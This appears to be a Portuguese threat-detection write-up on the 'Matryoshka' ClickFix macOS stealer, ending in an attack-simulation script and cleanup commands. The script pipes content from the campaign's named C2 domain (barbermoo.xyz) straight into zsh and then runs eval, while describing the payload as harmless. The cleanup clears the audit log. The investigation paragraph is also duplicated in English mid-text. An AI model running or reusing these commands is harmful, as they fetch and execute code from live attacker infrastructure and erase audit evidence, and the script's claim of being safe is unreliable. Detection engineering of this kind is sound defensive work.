Descompactando a Nova Variante “Matryoshka” ClickFix: Campanha de Typosquatting Distribui Stealer para macOS

Resumo

Uma nova operação de malware para macOS denominada Matryoshka abusa de um domínio parecido com erros de digitação para manipular socialmente as vítimas a colar um comando malicioso no Terminal. A linha única executa um script codificado que é decodificado na memória e, por fim, implanta um interceptador baseado em AppleScript direcionado a credenciais de navegador e carteiras de criptomoeda. O instalador executa silenciosamente em segundo plano, suprime a saída visível e carrega os dados coletados usando um cabeçalho de API personalizado. A campanha é impulsionada por interação do usuário em vez de exploração de software.

Investigação

Analistas da Intego reconstruíram a cadeia de ponta a ponta: um domínio com erro de digitação redireciona os usuários para uma fase de shell leve hospedada em barbermoo.xyz. Esse script realiza uma decodificação Base64 + gzip na memória, executa um carregador que recupera a carga útil do AppleScript e prepara os resultados da coleta em /tmp/osalogging.zip antes da exfiltração. O AppleScript tenta o roubo de credenciais ao apresentar um prompt falso de Preferências do Sistema e também visa ferramentas de criptografia ao substituir ou corrigir os pacotes de aplicativos Ledger Live e Trezor Suite. analysts reconstructed the chain end to end: a typo-squatted domain redirects users to a lightweight shell stage hosted at barbermoo.xyz. That script performs Base64 + gzip decoding in memory, executes a loader that retrieves the AppleScript payload, and stages collection results into /tmp/osalogging.zip before exfiltration. The AppleScript attempts credential theft by presenting a fake System Preferences prompt, and it also targets crypto tooling by replacing or patching Ledger Live and Trezor Suite application bundles.

Mitigação

A conscientização do usuário é o principal controle: não cole comandos do Terminal de sites da internet. Bloqueie e monitore os domínios identificados com erros de digitação e relacionados ao C2, bem como a infraestrutura de distribuição de tráfego que apoia a entrega. Aplique uma lista de permissão de aplicativos e utilize proteção de endpoint que possa detectar execuções suspeitas de osascript e padrões de recuperação anormais baseados em curl.

Resposta

Alerta em curl iniciado por Terminal canalizado para zsh ou osascript, monitorar a criação de /tmp/osalogging.zip e sinalizar mudanças inesperadas em pacotes Ledger Live e Trezor Suite. Imponha filtragem DNS para barbermoo.xyz, comparisions.org e macfilesendstream.com. Investigue qualquer processo que seja iniciado silenciosamente em segundo plano imediatamente após a execução de um comando acionado por curl.

Execução de Simulação

Pré-requisito: O Checklist de Pré-voo de Telemetria & Base Devem ter passado.

Justificação: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa de Ataque & Comandos:
  Um adversário que já comprometeu uma conta macOS de baixa privilégios deseja executar uma carga útil remota sem escrever arquivos em disco. Eles criam uma linha única que busca um script codificado em base-64 de um domínio C2 malicioso (barbermoo.xyz), o canaliza diretamente para zsh, e finalmente usa eval para executar a carga útil na memória. Esta abordagem se alinha com T1059.004 (shell Unix) e T1027 (ofuscação) e é exatamente o que a regra Sigma está observando.

  1. O atacante obtém um token único (ABCD1234) que vincula a solicitação à sua campanha.

  2. Eles executam a seguinte linha em uma sessão de Terminal:

     curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh

  3. Dentro do script obtido, uma variável payload contém uma carga útil maliciosa codificada em base64, que é executada via:

     eval "$payload"

  Isso gera duas entradas distintas de linha de comando que a regra corresponde:

  • curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
  • eval "$payload"

• Script de Teste de Regressão:
  O script abaixo reproduz o comportamento malicioso em um ambiente de laboratório controlado. Executá-lo apenas em um host de teste macOS. Ele registra sua própria execução no log de auditoria do sistema, satisfazendo a regra de detecção.

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Simulação de Variante Matryoshka – aciona regra Sigma
  # -------------------------------------------------
  set -euo pipefail
  
  # --- Configuração -------------------------------------------------
  TOKEN="ABCD1234"                     # Substitua por qualquer string para simular exclusividade
  MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}"
  # Uma pequena carga útil inofensiva para demonstração – exibindo uma mensagem (substituir por carga útil real em equipe vermelha)
  PAYLOAD="echo 'Carga útil maliciosa executada'"
  
  # --- Etapa 1: Buscar e canalizar para zsh (corresponde ao primeiro padrão de detecção) ---
  curl -fsSL "${MALICIOUS_URL}" | zsh
  
  # --- Etapa 2: Simular eval em memória (corresponde ao segundo padrão) -------------
  # Em um ataque real, a carga útil seria codificada em base64 e decodificada rapidamente.
  eval "${PAYLOAD}"

• Comandos de Limpeza: Remova quaisquer processos transitórios e restaure o estado do shell.

  # Mate quaisquer processos zsh gerados pelo teste (se ainda estiverem em execução)
  pkill -f "zsh -c .*barbermoo.xyz"
  
  # Opcionalmente, limpe o log de auditoria das entradas de teste (requer administrador)
  sudo audit -c      # Limpa o buffer de auditoria (demonstra T1070.010)